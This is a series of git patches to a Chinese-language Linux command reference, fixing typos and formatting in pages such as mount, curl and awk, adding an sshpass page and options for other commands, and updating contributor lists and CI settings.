update command/mount.md (#531) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 另外，修复了 shell 代码块前的注释符号和部分格式 --- command/mount.md | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/command/mount.md b/command/mount.md index fc284307895..8e23f9a58a1 100644 --- a/command/mount.md +++ b/command/mount.md @@ -39,8 +39,7 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir -o auto、-o noauto：打开/关闭自动挂上模式。 -o defaults:使用预设的选项 rw, suid, dev, exec, auto, nouser, and async. -o dev、-o nodev-o exec、-o noexec允许执行档被执行。 --o suid、-o nosuid： -允许执行档在 root 权限下执行。 +-o suid、-o nosuid：允许执行档在 root 权限下执行。 -o user、-o nouser：使用者可以执行 mount/umount 的动作。 -o remount：将一个已经挂下的档案系统重新用不同的方式挂上。例如原先是唯读的系统，现在用可读写的模式重新挂上。 -o ro：用唯读模式挂上。 @@ -53,19 +52,19 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir 将 `/dev/hda1` 挂在 `/mnt` 之下。 ```shell -#mount /dev/hda1 /mnt +mount /dev/hda1 /mnt ``` 将 `/dev/hda1` 用唯读模式挂在 `/mnt` 之下。 ```shell -#mount -o ro /dev/hda1 /mnt +mount -o ro /dev/hda1 /mnt ``` -将 `/tmp/image.iso` 这个光碟的 `image` 档使用 `loop` 模式挂在 `/mnt/cdrom` 之下。用这种方法可以将一般网络上可以找到的 `Linux` 光 碟 ISO 档在不烧录成光碟的情况下检视其内容。 +将 `/tmp/image.iso` 这个光碟的 `image` 档使用 `loop` 模式挂在 `/mnt/cdrom` 之下。用这种方法可以将一般网络上可以找到的 `Linux` 光碟 ISO 档在不烧录成光碟的情况下检视其内容。 ```shell -#mount -o loop /tmp/image.iso /mnt/cdrom +mount -o loop /tmp/image.iso /mnt/cdrom ``` ### 实例2 @@ -77,6 +76,9 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir mount -t davfs https://your.webdav.link.here /path/to/mount ``` +### 实例3 +挂载 Android 系统 system 分区到 `/dev/loopX`，在知道文件格式的情况下，可以用 -t 来指定文件格式，比如 ext4。 - - +```shell +mount -t ext4 /dev/loopX /mnt/system +``` From 4d0b0eef8159d897424bef7412f61763ea31fa83 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 15 Oct 2023 06:09:58 +0000 Subject: [PATCH 241/570] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 2aafd2cfd15..99478252e20 100644 --- a/README.md +++ b/README.md @@ -396,6 +396,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Glett + + 丛林意志 + Jayin Taung @@ -408,9 +411,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 __FresHmaN - - 丛林意志 - James Wang From 1bd25995d8a4658b44dfb36d356ad6b8dd04af58 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 15 Oct 2023 06:09:59 +0000 Subject: [PATCH 242/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 07e55d2ee10..a9eb620ba17 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -33,6 +33,9 @@ Glett + + 丛林意志 + Jayin Taung @@ -45,9 +48,6 @@ __FresHmaN - - 丛林意志 - James Wang From 01484d7447fcab04ea48804f28c035e27e5d3cf6 Mon Sep 17 00:00:00 2001 From: alfred Date: Mon, 30 Oct 2023 11:11:31 +0800 Subject: [PATCH 243/570] feat: add command/sshpass.md (#537) --- command/sshpass.md | 67 ++++++++++++++++++++++++++++++++++++++++++++++ dist/data.json | 5 ++++ 2 files changed, 72 insertions(+) create mode 100644 command/sshpass.md diff --git a/command/sshpass.md b/command/sshpass.md new file mode 100644 index 00000000000..43063898c6b --- /dev/null +++ b/command/sshpass.md @@ -0,0 +1,67 @@ +sshpass +=== + +免交互 SSH 登录工具。 + +## 补充说明 + +免交互 SSH 登录工具，但不要用在生产服务器上。 + +如果你想自动在 SSH 登录提示符中提供**密码**和**用户名**怎么办？这时 **sshpass** 就可以帮到你了。 + +**sshpass** 是一个简单、轻量级的命令行工具，通过它我们能够向命令提示符本身提供密码（非交互式密码验证）。 + +### 安装 + +```shell +# RedHat/CentOS +yum install sshpass + +# Debian/Ubuntu +apt-get install sshpass +``` + +### 语法 + +```shell +sshpass (选项) +``` + +### 选项 + +```shell +用法: sshpass [-f|-d|-p|-e] [-hV] 命令 参数 + -f 文件名 从文件中获取密码 + -d 数字 使用数字作为文件描述符来获取密码 + -p 密码 将密码作为参数提供（安全上不明智） + -e 密码以环境变量 "SSHPASS" 的形式传递 + 如果没有参数 - 密码将从标准输入中获取 + + -P 提示 sshpass 搜索以检测密码提示的字符串 + -v 显示详细信息 + -h 显示帮助信息（本屏幕） + -V 打印版本信息 +只能使用 -f、-d、-p 或 -e 中的一个 +``` + +### 实例 + +1.明文传输密码（**不建议**） + +```shell +sshpass -p 'my_pass_here' ssh aaronkilik@10.42.0.1 'df -h' +``` + +2.使用文件传输密码 + +```shell +sshpass -f password_filename ssh aaronkilik@10.42.0.1 'df -h' +``` + +3.使用环境变量 `SSHPASS` + +```shell +sshpass -e ssh aaronkilik@10.42.0.1 'df -h' +``` + +更多使用详情请参考 [https://linux.cn/article-8086-1.html](https://linux.cn/article-8086-1.html) 。 \ No newline at end of file diff --git a/dist/data.json b/dist/data.json index 873255bc473..526e559d149 100644 --- a/dist/data.json +++ b/dist/data.json @@ -2379,6 +2379,11 @@ "p": "/sshd", "d": "openssh软件套件中的服务器守护进程" }, + "sshpass":{ + "n": "sshpass", + "p": "/sshpass", + "d": "免交互 SSH 登录工具" + }, "startx": { "n": "startx", "p": "/startx", From 11d0b195f9c71062a1cbf2cd392dd141b60616db Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 30 Oct 2023 03:12:23 +0000 Subject: [PATCH 244/570] doc: update README.md. --- README.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 99478252e20..94331453a25 100644 --- a/README.md +++ b/README.md @@ -399,8 +399,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 丛林意志 - - Jayin Taung + + Jayin Tang Zijing Zhang @@ -474,6 +474,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Wang Jianing + + alfred + Alan @@ -591,9 +594,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xonline-Tech - - Isidro Osoria - Xu Chunyang @@ -612,8 +612,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 amit794 - - asunrong + + Ashine azureology From 9858d5614e12e63b99be47b0884f0e1e83a5ea6c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 30 Oct 2023 03:12:24 +0000 Subject: [PATCH 245/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a9eb620ba17..95b82e3564e 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -36,8 +36,8 @@ 丛林意志 - - Jayin Taung + + Jayin Tang Zijing Zhang @@ -111,6 +111,9 @@ Wang Jianing + + alfred + Alan @@ -228,9 +231,6 @@ Xonline-Tech - - Isidro Osoria - Xu Chunyang @@ -249,8 +249,8 @@ amit794 - - asunrong + + Ashine azureology From def27d4132ca698e14ae039cb26326bbb9147b3a Mon Sep 17 00:00:00 2001 From: jcdj666 Date: Mon, 30 Oct 2023 18:11:41 +0800 Subject: [PATCH 246/570] doc: Update curl.md (#538) fix mistake --- command/curl.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/curl.md b/command/curl.md index 81c8cb38fef..2215d6af058 100644 --- a/command/curl.md +++ b/command/curl.md @@ -158,7 +158,7 @@ curl -s -o /dev/null https://example.com #### **断点续传** -curl能够从特定的文件偏移处继续下载，它可以通过指定一个便宜量来下载部分文件： +curl能够从特定的文件偏移处继续下载，它可以通过指定一个偏移量来下载部分文件： ```shell curl URL/File -C 偏移量 From 121a268fb4492edb06f26278ef5e3aeedd1e253c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Thu, 2 Nov 2023 09:07:51 +0800 Subject: [PATCH 247/570] doc: Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 94331453a25..22a901c9058 100644 --- a/README.md +++ b/README.md @@ -37,11 +37,11 @@ **推荐使用的镜像 web 版本** -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/) **其它 web 版本** -[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`utils.fun`](https://linux.utils.fun/) +[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`utils.fun`](https://linux.utils.fun/), [`51tools.info`](https://51tools.info/linux/) ## 微信小程序版本 From a6b9d06a54c801c68eb36453c05e0ed1e3d704a7 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 2 Nov 2023 01:08:36 +0000 Subject: [PATCH 248/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 22a901c9058..9355b0f52bf 100644 --- a/README.md +++ b/README.md @@ -666,6 +666,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 huangyao + + jcdj666 + jqz3.tech From 90f9f53e8d25b05d6cc7ab7d52cd3876f631c50a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 2 Nov 2023 01:08:37 +0000 Subject: [PATCH 249/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 95b82e3564e..22538dedd01 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -303,6 +303,9 @@ huangyao + + jcdj666 + jqz3.tech From 8072199b139e5001f8280278146592c13efb9781 Mon Sep 17 00:00:00 2001 From: XBG <66010822+XBGzZ@users.noreply.github.com> Date: Thu, 2 Nov 2023 09:10:34 +0800 Subject: [PATCH 250/570] doc: Update awk.md (#536) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 纠正错误，Array符号位置问题，还有SUBSEP后面的字符乱码问题 --- command/awk.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/awk.md b/command/awk.md index a23eec09e6a..00145315da7 100644 --- a/command/awk.md +++ b/command/awk.md @@ -623,7 +623,7 @@ Array[2]="kai" ```shell Array["first"]="www" -Array"[last"]="name" +Array["last"]="name" Array["birth"]="1987" ``` @@ -708,7 +708,7 @@ b b1 ### 二维、多维数组使用 -awk的多维数组在本质上是一维数组，更确切一点，awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如，`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(�34)`作为分割字段，在上面的例子中，关联数组array存储的键值实际上是2�344。 +awk的多维数组在本质上是一维数组，更确切一点，awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如，`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(\034)`作为分割字段，在上面的例子中，关联数组array存储的键值实际上是2\0344。 类似一维数组的成员测试，多维数组可以使用`if ( (i,j) in array)`这样的语法，但是下标必须放置在圆括号中。类似一维数组的循环访问，多维数组使用`for ( item in array )`这样的语法遍历数组。与一维数组不同的是，多维数组必须使用`split()`函数来访问单独的下标分量。 From e3c800e64c7c3d9785bae4714c0780142d7752ac Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 2 Nov 2023 01:11:32 +0000 Subject: [PATCH 251/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 9355b0f52bf..43b492112e0 100644 --- a/README.md +++ b/README.md @@ -588,6 +588,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Wingrez + + XBG + Xiaodong DENG From 3ce69ccab7c7142e07c032a25bb742d94ca5c3c0 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 2 Nov 2023 01:11:33 +0000 Subject: [PATCH 252/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 22538dedd01..2ed18ac1241 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -225,6 +225,9 @@ Wingrez + + XBG + Xiaodong DENG From 9079d5aa3707446fd98973f2165716702825c546 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 25 Nov 2023 19:24:46 +0800 Subject: [PATCH 253/570] chore: add sponsor badge. --- .github/FUNDING.yml | 14 +++++++------- README.md | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml index fbb2d7ccb34..716bbf0f45f 100644 --- a/.github/FUNDING.yml +++ b/.github/FUNDING.yml @@ -1,9 +1,9 @@ # These are supported funding model platforms -github: [jaywcjlove] -patreon: # Replace with a single Patreon username -open_collective: # Replace with a single Open Collective username -ko_fi: # Replace with a single Ko-fi username -tidelift: # npm/linux-command -community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry -custom: https://jaywcjlove.github.io/sponsor.html +# github: [jaywcjlove] +# patreon: # Replace with a single Patreon username +# open_collective: # Replace with a single Open Collective username +# ko_fi: # Replace with a single Ko-fi username +# tidelift: #npm/mocker-api +# community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry +custom: https://jaywcjlove.github.io/#/sponsor diff --git a/README.md b/README.md index 43b492112e0..10dd5c0221e 100644 --- a/README.md +++ b/README.md @@ -5,10 +5,10 @@

    Linux Command

    +[![Buy me a coffee](https://img.shields.io/badge/Buy%20me%20a%20coffee-048754?logo=buymeacoffee)](https://jaywcjlove.github.io/#/sponsor) [![CI](https://github.com/jaywcjlove/linux-command/actions/workflows/ci.yml/badge.svg)](https://github.com/jaywcjlove/linux-command/actions/workflows/ci.yml) [![Web](https://jaywcjlove.github.io/sb/ico/linux.svg)](https://jaywcjlove.github.io/linux-command/) [![weibo](https://jaywcjlove.github.io/sb/ico/weibo.svg)](http://weibo.com/pc175) -[![Get this with npm](https://jaywcjlove.github.io/sb/ico/npm.svg)](https://www.npmjs.com/package/linux-command) [![NPM Download](https://img.shields.io/npm/dm/linux-command.svg?style=flat)](https://www.npmjs.com/package/linux-command) [![jsdelivr cdn](https://data.jsdelivr.com/v1/package/npm/linux-command/badge)](https://www.jsdelivr.com/package/npm/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) From 2991363f02b20b8a7ad8bc80ea5d7f920d8fa563 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 25 Nov 2023 19:26:58 +0800 Subject: [PATCH 254/570] website: update footer template. --- template/widget/footer.ejs | 1 + 1 file changed, 1 insertion(+) diff --git a/template/widget/footer.ejs b/template/widget/footer.ejs index 33ef4da284f..966863110a6 100644 --- a/template/widget/footer.ejs +++ b/template/widget/footer.ejs @@ -8,6 +8,7 @@ Krunner | 开源中国Web版
    + 打赏捐赠 | Github | 短地址：https://git.io/linux
    From 12d1047a01f9d36bfd820530b46e988f3b25931c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 25 Nov 2023 11:29:17 +0000 Subject: [PATCH 255/570] doc: update README.md. --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 10dd5c0221e..4ad7dca30ff 100644 --- a/README.md +++ b/README.md @@ -567,7 +567,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 SMVirus - + SevenSteven @@ -717,8 +717,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - sunls23 + + sunls24 tangke @@ -789,8 +789,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 继刚 - - Koyfin + + Kyofin 谢民皆 From 78d81809ba801e5f35013e35fefa4649a5543de6 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 25 Nov 2023 11:29:18 +0000 Subject: [PATCH 256/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 2ed18ac1241..eadfb957d85 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -204,7 +204,7 @@ SMVirus - + SevenSteven @@ -354,8 +354,8 @@ snovey - - sunls23 + + sunls24 tangke @@ -426,8 +426,8 @@ 继刚 - - Koyfin + + Kyofin 谢民皆 From 65665e88d7ac425c58ecc9852b866c1cb504706e Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 27 Nov 2023 11:32:26 +0800 Subject: [PATCH 257/570] ci: update workflows config. --- .github/workflows/ci.yml | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index a70cf3add7e..91dc66245df 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -7,11 +7,14 @@ on: jobs: build-deploy: runs-on: ubuntu-latest + permissions: + contents: write + id-token: write steps: - uses: actions/checkout@v3 - uses: actions/setup-node@v3 with: - node-version: 16 + node-version: 18 registry-url: 'https://registry.npmjs.org' - name: Generate Contributors Images @@ -127,7 +130,7 @@ jobs: user_name: github-actions[bot] user_email: github-actions[bot]@users.noreply.github.com - - run: npm publish + - run: npm publish --access public --provenance continue-on-error: true name: 📦 linux-command publish to NPM env: From 2f5cf439c9f5f1e1e6b3977f15209d02611242c7 Mon Sep 17 00:00:00 2001 From: sfwwslm <77674552+sfwwslm@users.noreply.github.com> Date: Sat, 2 Dec 2023 08:53:37 +0800 Subject: [PATCH 258/570] doc: update less.md & lscpu.md & ntpdate.md & tcpreplay.md (#542) --- command/less.md | 1 + command/lscpu.md | 14 +++++++++++++- command/ntpdate.md | 1 + command/tcpreplay.md | 1 + 4 files changed, 16 insertions(+), 1 deletion(-) diff --git a/command/less.md b/command/less.md index 9f6ab459500..9dfc559bbe6 100644 --- a/command/less.md +++ b/command/less.md @@ -24,6 +24,7 @@ less(选项)(参数) -s：将连续多个空行压缩成一行显示； -S：在单行显示较长的内容，而不换行显示； -x<数字>：将TAB字符显示为指定个数的空格字符。 +-r：能够显示设置的颜色。 ``` ### 参数 diff --git a/command/lscpu.md b/command/lscpu.md index 9e0ef350ff1..d6549c7c798 100644 --- a/command/lscpu.md +++ b/command/lscpu.md @@ -71,5 +71,17 @@ L2 cache: 256K L3 cache: 8192K NUMA node0 CPU(s): 0-3 ``` - +```shell +# 查看cpu编号对应的核心号码，区分是大核还是小核。 +[root@localhost ~]# lscpu -e +CPU NODE SOCKET CORE L1d:L1i:L2:L3 ONLINE MAXMHZ MINMHZ +0 0 0 0 0:0:0:0 是 3600.0000 800.0000 +1 0 0 1 1:1:1:0 是 3600.0000 800.0000 +2 0 0 2 2:2:2:0 是 3600.0000 800.0000 +3 0 0 3 3:3:3:0 是 3600.0000 800.0000 +4 0 0 0 0:0:0:0 是 3600.0000 800.0000 +5 0 0 1 1:1:1:0 是 3600.0000 800.0000 +6 0 0 2 2:2:2:0 是 3600.0000 800.0000 +7 0 0 3 3:3:3:0 是 3600.0000 800.0000 +``` diff --git a/command/ntpdate.md b/command/ntpdate.md index cfacf8b8ad7..c44638bd08a 100644 --- a/command/ntpdate.md +++ b/command/ntpdate.md @@ -37,5 +37,6 @@ ntpdate [ -b] [ -d] [ -s] [ -u] [ -aKeyid] [ -eAuthenticationDelay] [ -kKeyFile] -s # 指定日志操作 syslog 设施的使用，而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时，它是很有用的。 -tTimeOut # 指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。 -u # 指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的， 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机，它控制从外网对专用网的访问。 +-q # 仅供查询，不设置时间。 ``` diff --git a/command/tcpreplay.md b/command/tcpreplay.md index 8332e5f9c66..cb40c1f42b3 100644 --- a/command/tcpreplay.md +++ b/command/tcpreplay.md @@ -24,6 +24,7 @@ tcpreplay -k 重写主网卡发送报文的源MAC地址。 -K 重写从网卡发送报文的源MAC地址。 -l 指定循环的次数。 + --loopdelay-ms=2000 每次循环间隔2000毫秒。 -L 指定最大的发包数量。可以在确认连接的调试时使用。 -m 指定一个倍数值，就是必默认发送速率要快多少倍的速率发送报文。 加大发送的速率后，对于DUT可能意味着有更多的并发连接和连接数，特别是对于BT报文的重放， 因为连接的超时是固定的，如果速率增大的话， 留在session表中的连接数量增大，还可以通过修改连接的超时时间来达到该目的。 -M 表示不发送“火星”的ip报文，man文件中的定义是 0/8、172/8、 255/8。 From 17a87b65faaa30a634bd72bd9e4a7dfe14ccb060 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 2 Dec 2023 00:54:31 +0000 Subject: [PATCH 259/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 4ad7dca30ff..33120e1fb46 100644 --- a/README.md +++ b/README.md @@ -711,6 +711,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 rexlin600 + + sfwwslm + shc From 0d6f4446a89e18c6e55ba7f6e51f31a7cefd4a55 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 2 Dec 2023 00:54:32 +0000 Subject: [PATCH 260/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index eadfb957d85..662476b2a2e 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -348,6 +348,9 @@ rexlin600 + + sfwwslm + shc From 659084f9b289a9d9f85a356c79857bb5db6ee6a1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=94=B2=E5=AF=85?= Date: Sat, 2 Dec 2023 04:41:17 +0000 Subject: [PATCH 261/570] doc: Update pacman.md (#543) --- command/pacman.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/pacman.md b/command/pacman.md index 9330c6c1d0e..83b953f2954 100644 --- a/command/pacman.md +++ b/command/pacman.md @@ -1,7 +1,7 @@ pacman === -Arch Linux 系统极其衍生系统中默认使用的包管理器 +Arch Linux 系统及其衍生系统中默认使用的包管理器 ## 安装 From 90a1857ce8d35fb77f453dafd2b3633621108a9d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 2 Dec 2023 04:41:55 +0000 Subject: [PATCH 262/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 33120e1fb46..9226d6f643e 100644 --- a/README.md +++ b/README.md @@ -786,6 +786,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 沙漠之子 + + 甲寅 + 移动的红烧肉 From de33731520c6abfa4cedc3c150d16f77dc0e2025 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 2 Dec 2023 04:41:56 +0000 Subject: [PATCH 263/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 662476b2a2e..be726dd6733 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -423,6 +423,9 @@ 沙漠之子 + + 甲寅 + 移动的红烧肉 From 206ca09a8b2e044ce82e072ad06fff198d1b0e5b Mon Sep 17 00:00:00 2001 From: alterem Date: Tue, 5 Dec 2023 16:08:46 +0800 Subject: [PATCH 264/570] doc: update command/vi.md (#544) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit -s：安静模式，不显示指令的任何错误信息。 --- command/vi.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/vi.md b/command/vi.md index f5b02d82a32..63ce4a16539 100644 --- a/command/vi.md +++ b/command/vi.md @@ -67,7 +67,7 @@ vi(选项)(参数) -n：不实用缓存功能； -o<文件数目>：指定同时打开指定数目的文件； -R：以只读方式打开文件； --s：安静模式，不现实指令的任何错误信息。 +-s：安静模式，不显示指令的任何错误信息。 ``` ### 参数 From 11451689bf2d713a66162bf2e79036bf23d695b8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 5 Dec 2023 08:09:21 +0000 Subject: [PATCH 265/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 9226d6f643e..5e89544b3e4 100644 --- a/README.md +++ b/README.md @@ -609,6 +609,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 0Knot (0KN) + + alterem + One Person’s Revelry From 9640f3371184621180544f9d260b1fc7bf03bd93 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 5 Dec 2023 08:09:22 +0000 Subject: [PATCH 266/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index be726dd6733..03531776b2c 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -246,6 +246,9 @@ 0Knot (0KN) + + alterem + One Person’s Revelry From 7c5a8ea526c225bc0c40590f4b729925b973da2d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Thu, 7 Dec 2023 09:28:09 +0800 Subject: [PATCH 267/570] doc: update zip.md (fix #545) --- command/zip.md | 62 +++++++++++++++++++++++--------------------------- 1 file changed, 28 insertions(+), 34 deletions(-) diff --git a/command/zip.md b/command/zip.md index dba048c88a8..f9fe8e9af55 100644 --- a/command/zip.md +++ b/command/zip.md @@ -17,40 +17,34 @@ zip [-选项] [-b 路径] [-t 日期] [-n 后缀名] [压缩文件列表] [-xi ### 选项 ```shell --A：调整可执行的自动解压缩文件； --b<工作目录>：指定暂时存放文件的目录； --c：替每个被压缩的文件加上注释； --d：从压缩文件内删除指定的文件； --D：压缩文件内不建立目录名称； --f：此参数的效果和指定“-u”参数类似，但不仅更新既有文件，如果某些文件原本不存在于压缩文件内，使用本参数会一并将其加入压缩文件中； --F：尝试修复已损坏的压缩文件； --g：将文件压缩后附加在已有的压缩文件之后，而非另行建立新的压缩文件； --h：在线帮助； --i<范本样式>：只压缩符合条件的文件； --j：只保存文件名称及其内容，而不存放任何目录名称； --J：删除压缩文件前面不必要的数据； --k：使用MS-DOS兼容格式的文件名称； --l：压缩文件时，把LF字符置换成LF+CR字符； --ll：压缩文件时，把LF+cp字符置换成LF字符； --L：显示版权信息； --m：将文件压缩并加入压缩文件后，删除原始文件，即把文件移到压缩文件中； --n<字尾字符串>：不压缩具有特定字尾字符串的文件； --o：以压缩文件内拥有最新更改时间的文件为准，将压缩文件的更改时间设成和该文件相同； --q：不显示指令执行过程； --r：递归处理，将指定目录下的所有文件和子目录一并处理； --S：包含系统和隐藏文件； --t<日期时间>：把压缩文件的日期设成指定的日期； --T：检查备份文件内的每个文件是否正确无误； 